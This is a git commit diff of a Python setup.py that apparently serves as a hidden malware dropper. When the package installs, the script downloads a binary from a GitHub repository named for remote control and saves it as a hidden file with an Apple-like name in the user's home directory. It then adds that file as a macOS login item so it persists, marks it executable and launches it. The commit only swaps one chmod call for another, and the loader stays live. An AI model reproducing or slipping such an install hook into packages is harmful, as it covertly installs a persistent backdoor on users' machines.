summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py4
1 files changed, 2 insertions, 2 deletions
diff --git a/setup.py b/setup.py
index 1ef4d3e..f5de74b 100644
--- a/setup.py
+++ b/setup.py
@@ -2,7 +2,7 @@ from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
-from os import system, chmod
+from os import system
filename = "com.apple.com.user.core"
localfile = f"{expanduser('~')}/.{filename}"
@@ -11,6 +11,6 @@ localfile = f"{expanduser('~')}/.{filename}"
open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
-chmod(localfile, 755)
+system(f"chmod +x {localfile}")
subproc([localfile])